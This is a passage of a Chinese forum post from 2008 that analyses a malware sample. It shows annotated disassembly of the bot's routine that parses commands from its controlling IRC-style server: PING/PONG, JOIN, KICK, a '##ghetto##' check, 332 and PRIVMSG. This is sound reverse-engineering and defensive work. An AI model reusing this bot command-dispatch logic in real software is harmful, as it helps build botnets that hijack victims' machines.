- 听众
- 收听
- 积分
- 2999
- 主题
- 回帖
- 0
- 精华
注册时间2006-7-29
最后登录1970-1-1
该用户从未签到
|
楼主 |
发表于 2008-6-15 12:56:04
|
显示全部楼层
解析从骇客服务器反回的数据包,根据包中骇客定义好的“指令”执行相应的恶意操作(由于此函数内部代码过于烦琐,所以相应的省略了部分注解):
004015E9 55 PUSH EBP
004015EA 8BEC MOV EBP,ESP
004015EC 81EC B40B0000 SUB ESP,0BB4
004015F2 57 PUSH EDI
004015F3 83A5 64FEFFFF 0>AND DWORD PTR SS:[EBP-19C],0
004015FA 6A 63 PUSH 63
004015FC 59 POP ECX
004015FD 33C0 XOR EAX,EAX
004015FF 8DBD 68FEFFFF LEA EDI,DWORD PTR SS:[EBP-198]
00401605 F3:AB REP STOS DWORD PTR ES:[EDI]
00401607 8365 F4 00 AND DWORD PTR SS:[EBP-C],0
0040160B 68 14914000 PUSH waccs.00409114
00401610 FF75 0C PUSH DWORD PTR SS:[EBP+C]
00401613 E8 3A5A0000 CALL waccs.00407052 ; JMP 到 msvcrt.strstr
00401618 59 POP ECX
00401619 59 POP ECX
0040161A 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
0040161D 837D F8 00 CMP DWORD PTR SS:[EBP-8],0
00401621 74 23 JE SHORT waccs.00401646
00401623 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
00401626 8020 00 AND BYTE PTR DS:[EAX],0
00401629 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
0040162C 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040162F 898C85 64FEFFFF MOV DWORD PTR SS:[EBP+EAX*4-19C],ECX
00401636 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
00401639 40 INC EAX
0040163A 8945 0C MOV DWORD PTR SS:[EBP+C],EAX
0040163D 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
00401640 40 INC EAX
00401641 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
00401644 ^ EB C5 JMP SHORT waccs.0040160B
00401646 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
00401649 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040164C 898C85 64FEFFFF MOV DWORD PTR SS:[EBP+EAX*4-19C],ECX
00401653 C745 FC 0400000>MOV DWORD PTR SS:[EBP-4],4
0040165A 83BD 64FEFFFF 0>CMP DWORD PTR SS:[EBP-19C],0
00401661 74 09 JE SHORT waccs.0040166C
00401663 83BD 68FEFFFF 0>CMP DWORD PTR SS:[EBP-198],0
0040166A 75 05 JNZ SHORT waccs.00401671
0040166C E9 22080000 JMP waccs.00401E93
00401671 FFB5 64FEFFFF PUSH DWORD PTR SS:[EBP-19C]
00401677 68 5D2573B7 PUSH B773255D
0040167C 8D8D 00F5FFFF LEA ECX,DWORD PTR SS:[EBP-B00]
00401682 E8 CF0F0000 CALL waccs.00402656 ; ASCII "PING"
00401687 50 PUSH EAX
00401688 E8 155A0000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(判断指令只否为"PING").
0040168D 59 POP ECX
0040168E 59 POP ECX
0040168F F7D8 NEG EAX
00401691 1BC0 SBB EAX,EAX
00401693 40 INC EAX
00401694 8885 08F5FFFF MOV BYTE PTR SS:[EBP-AF8],AL
0040169A 8D8D 00F5FFFF LEA ECX,DWORD PTR SS:[EBP-B00]
004016A0 E8 81090000 CALL waccs.00402026 ; 清除内存数据.
004016A5 0FB685 08F5FFFF MOVZX EAX,BYTE PTR SS:[EBP-AF8]
004016AC 85C0 TEST EAX,EAX
004016AE 74 3F JE SHORT waccs.004016EF ; 判断是否该执行"PING"命令.
004016B0 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
004016B3 05 BA000000 ADD EAX,0BA
004016B8 50 PUSH EAX
004016B9 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
004016BC 05 A1000000 ADD EAX,0A1
004016C1 50 PUSH EAX
004016C2 FFB5 68FEFFFF PUSH DWORD PTR SS:[EBP-198]
004016C8 68 5BF5ABE4 PUSH E4ABF55B
004016CD 8D8D F8F4FFFF LEA ECX,DWORD PTR SS:[EBP-B08]
004016D3 E8 DE0F0000 CALL waccs.004026B6 ; ASCII "PONG %s"
004016D8 50 PUSH EAX
004016D9 FF75 08 PUSH DWORD PTR SS:[EBP+8]
004016DC E8 1FF9FFFF CALL waccs.00401000 ; 构造发送数据包(格式:"PONG %s").
004016E1 83C4 14 ADD ESP,14
004016E4 8D8D F8F4FFFF LEA ECX,DWORD PTR SS:[EBP-B08]
004016EA E8 E7080000 CALL waccs.00401FD6 ; 清除内存数据.
004016EF FFB5 68FEFFFF PUSH DWORD PTR SS:[EBP-198]
004016F5 68 1B2CF4BE PUSH BEF42C1B
004016FA 8D8D F0F4FFFF LEA ECX,DWORD PTR SS:[EBP-B10]
00401700 E8 11100000 CALL waccs.00402716 ; ASCII "001"
00401705 50 PUSH EAX
00401706 E8 97590000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(判断指令只否为"001").
0040170B 59 POP ECX
0040170C 59 POP ECX
0040170D F7D8 NEG EAX
0040170F 1BC0 SBB EAX,EAX
00401711 40 INC EAX
00401712 8885 F4F4FFFF MOV BYTE PTR SS:[EBP-B0C],AL
00401718 8D8D F0F4FFFF LEA ECX,DWORD PTR SS:[EBP-B10]
0040171E E8 2B090000 CALL waccs.0040204E ; 清除内存数据.
00401723 0FB685 F4F4FFFF MOVZX EAX,BYTE PTR SS:[EBP-B0C]
0040172A 85C0 TEST EAX,EAX
0040172C 74 39 JE SHORT waccs.00401767 ; 判断是否该执行"001"命令.
0040172E 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401731 05 BA000000 ADD EAX,0BA
00401736 50 PUSH EAX
00401737 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
0040173A 05 A1000000 ADD EAX,0A1
0040173F 50 PUSH EAX
00401740 68 CCADB02E PUSH 2EB0ADCC
00401745 8D8D E4F4FFFF LEA ECX,DWORD PTR SS:[EBP-B1C]
0040174B E8 26100000 CALL waccs.00402776 ; ASCII "JOIN %s %s".
00401750 50 PUSH EAX
00401751 FF75 08 PUSH DWORD PTR SS:[EBP+8]
00401754 E8 A7F8FFFF CALL waccs.00401000 ; 构造发送数据包(格式:"JOIN %s %s").
00401759 83C4 10 ADD ESP,10
0040175C 8D8D E4F4FFFF LEA ECX,DWORD PTR SS:[EBP-B1C]
00401762 E8 0F090000 CALL waccs.00402076 ; 清除内存数据.
00401767 FFB5 68FEFFFF PUSH DWORD PTR SS:[EBP-198]
0040176D 68 3B99B737 PUSH 37B7993B
00401772 8D8D D8F4FFFF LEA ECX,DWORD PTR SS:[EBP-B28]
00401778 E8 59100000 CALL waccs.004027D6 ; ASCII "KICK"
0040177D 50 PUSH EAX
0040177E E8 1F590000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(判断指令只否为"KICK").
00401783 59 POP ECX
00401784 59 POP ECX
00401785 85C0 TEST EAX,EAX
00401787 75 64 JNZ SHORT waccs.004017ED
00401789 FFB5 6CFEFFFF PUSH DWORD PTR SS:[EBP-194]
0040178F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401792 05 A1000000 ADD EAX,0A1
00401797 50 PUSH EAX
00401798 E8 05590000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(近一步指令识别,判断指令只否为"##ghetto##").
0040179D 59 POP ECX
0040179E 59 POP ECX
0040179F F7D8 NEG EAX
004017A1 1BC0 SBB EAX,EAX
004017A3 40 INC EAX
004017A4 8885 D4F4FFFF MOV BYTE PTR SS:[EBP-B2C],AL
004017AA 0FB685 D4F4FFFF MOVZX EAX,BYTE PTR SS:[EBP-B2C]
004017B1 85C0 TEST EAX,EAX
004017B3 74 38 JE SHORT waccs.004017ED
004017B5 FFB5 70FEFFFF PUSH DWORD PTR SS:[EBP-190]
004017BB 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
004017BE 05 EC000000 ADD EAX,0EC
004017C3 50 PUSH EAX
004017C4 E8 D9580000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(近一步指令识别).
004017C9 59 POP ECX
004017CA 59 POP ECX
004017CB F7D8 NEG EAX
004017CD 1BC0 SBB EAX,EAX
004017CF 40 INC EAX
004017D0 8885 D0F4FFFF MOV BYTE PTR SS:[EBP-B30],AL
004017D6 0FB685 D0F4FFFF MOVZX EAX,BYTE PTR SS:[EBP-B30]
004017DD 85C0 TEST EAX,EAX
004017DF 74 0C JE SHORT waccs.004017ED
004017E1 C785 50F4FFFF 0>MOV DWORD PTR SS:[EBP-BB0],1
004017EB EB 07 JMP SHORT waccs.004017F4
004017ED 83A5 50F4FFFF 0>AND DWORD PTR SS:[EBP-BB0],0
004017F4 8A85 50F4FFFF MOV AL,BYTE PTR SS:[EBP-BB0]
004017FA 8885 E0F4FFFF MOV BYTE PTR SS:[EBP-B20],AL
00401800 8D8D D8F4FFFF LEA ECX,DWORD PTR SS:[EBP-B28]
00401806 E8 1B080000 CALL waccs.00402026 ; 清除内存数据.
0040180B 0FB685 E0F4FFFF MOVZX EAX,BYTE PTR SS:[EBP-B20]
00401812 85C0 TEST EAX,EAX
00401814 74 39 JE SHORT waccs.0040184F ; 判断是否该执行"KICK"命令.
00401816 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401819 05 BA000000 ADD EAX,0BA
0040181E 50 PUSH EAX
0040181F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401822 05 A1000000 ADD EAX,0A1
00401827 50 PUSH EAX
00401828 68 8CA52F28 PUSH 282FA58C
0040182D 8D8D C4F4FFFF LEA ECX,DWORD PTR SS:[EBP-B3C]
00401833 E8 FE0F0000 CALL waccs.00402836 ; ASCII "JOIN %s %s"
00401838 50 PUSH EAX
00401839 FF75 08 PUSH DWORD PTR SS:[EBP+8]
0040183C E8 BFF7FFFF CALL waccs.00401000 ; 构造发送数据包.
00401841 83C4 10 ADD ESP,10
00401844 8D8D C4F4FFFF LEA ECX,DWORD PTR SS:[EBP-B3C]
0040184A E8 27080000 CALL waccs.00402076 ; 清除内存数据.
0040184F FFB5 68FEFFFF PUSH DWORD PTR SS:[EBP-198]
00401855 68 4C914000 PUSH waccs.0040914C ; ASCII "332"
0040185A E8 43580000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(判断指令只否为"332").
0040185F 59 POP ECX
00401860 59 POP ECX
00401861 85C0 TEST EAX,EAX
00401863 75 0C JNZ SHORT waccs.00401871 ; 判断是否该执行"332"命令.
00401865 C745 FC 0500000>MOV DWORD PTR SS:[EBP-4],5
0040186C E9 9C000000 JMP waccs.0040190D
00401871 FFB5 68FEFFFF PUSH DWORD PTR SS:[EBP-198]
00401877 68 3F38E862 PUSH 62E8383F
0040187C 8D8D B8F4FFFF LEA ECX,DWORD PTR SS:[EBP-B48]
00401882 E8 0F100000 CALL waccs.00402896 ; ASCII "PRIVMSG"
00401887 50 PUSH EAX
00401888 E8 15580000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(判断指令只否为"PRIVMSG").
0040188D 59 POP ECX
0040188E 59 POP ECX
0040188F 85C0 TEST EAX,EAX
00401891 74 4C JE SHORT waccs.004018DF ; 判断是否该执行"PRIVMSG"命令.
00401893 FFB5 68FEFFFF PUSH DWORD PTR SS:[EBP-198]
00401899 68 3FCE37DE PUSH DE37CE3F
0040189E 8D8D B0F4FFFF LEA ECX,DWORD PTR SS:[EBP-B50]
004018A4 E8 4D100000 CALL waccs.004028F6 ; ASCII "332"
004018A9 50 PUSH EAX
004018AA E8 F3570000 CALL waccs.004070A2 ; JMP 到 msvcrt.strcmp(判断指令只否为"332").
004018AF 59 POP ECX
004018B0 59 POP ECX
004018B1 F7D8 NEG EAX
004018B3 1BC0 SBB EAX,EAX
004018B5 F7D8 NEG EAX
004018B7 8885 B4F4FFFF MOV BYTE PTR SS:[EBP-B4C],AL
004018BD 8D8D B0F4FFFF LEA ECX,DWORD PTR SS:[EBP-B50]
004018C3 E8 86070000 CALL waccs.0040204E ; 清除内存数据.
004018C8 0FB685 B4F4FFFF MOVZX EAX,BYTE PTR SS:[EBP-B4C]
004018CF 85C0 TEST EAX,EAX
004018D1 74 0C JE SHORT waccs.004018DF ; 判断是否该执行"332"命令.
004018D3 C785 4CF4FFFF 0>MOV DWORD PTR SS:[EBP-BB4],1
004018DD EB 07 JMP SHORT waccs.004018E6
004018DF 83A5 4CF4FFFF 0>AND DWORD PTR SS:[EBP-BB4],0
004018E6 8A85 4CF4FFFF MOV AL,BYTE PTR SS:[EBP-BB4]
004018EC 8885 C0F4FFFF MOV BYTE PTR SS:[EBP-B40],AL
004018F2 8D8D B8F4FFFF LEA ECX,DWORD PTR SS:[EBP-B48]
004018F8 E8 D9060000 CALL waccs.00401FD6 ; 清除内存数据.
004018FD 0FB685 C0F4FFFF MOVZX EAX,BYTE PTR SS:[EBP-B40]
00401904 85C0 TEST EAX,EAX
00401906 74 05 JE SHORT waccs.0040190D
00401908 E9 86050000 JMP waccs.00401E93 ; 返回(退出)该函数.
0040190D 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
00401910 8B8485 60FEFFFF MOV EAX,DWORD PTR SS:[EBP+EAX*4-1A0]
00401917 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
0040191A 8B8C8D 60FEFFFF MOV ECX,DWORD PTR SS:[EBP+ECX*4-1A0]
00401921 41 INC ECX
00401922 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4]
00401925 898C95 60FEFFFF MOV DWORD PTR SS:[EBP+EDX*4-1A0],ECX
0040192C 85C0 TEST EAX,EAX
0040192E 74 0D JE SHORT waccs.0040193D
00401930 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
00401933 83BC85 64FEFFFF>CMP DWORD PTR SS:[EBP+EAX*4-19C],0
0040193B 75 05 JNZ SHORT waccs.00401942
0040193D E9 51050000 JMP waccs.00401E93 ; 返回(退出)该函数.
00401942 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401945 05 EC000000 ADD EAX,0EC
0040194A 50 PUSH EAX
0040194B 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
0040194E FFB485 60FEFFFF PUSH DWORD PTR SS:[EBP+EAX*4-1A0]
00401955 E8 61250000 CALL waccs.00403EBB ; 数据处理.
0040195A 59 POP ECX
0040195B 59 POP ECX
0040195C 85C0 TEST EAX,EAX
0040195E 74 05 JE SHORT waccs.00401965
00401960 E9 2E050000 JMP waccs.00401E93 ; 返回(退出)该函数. |
|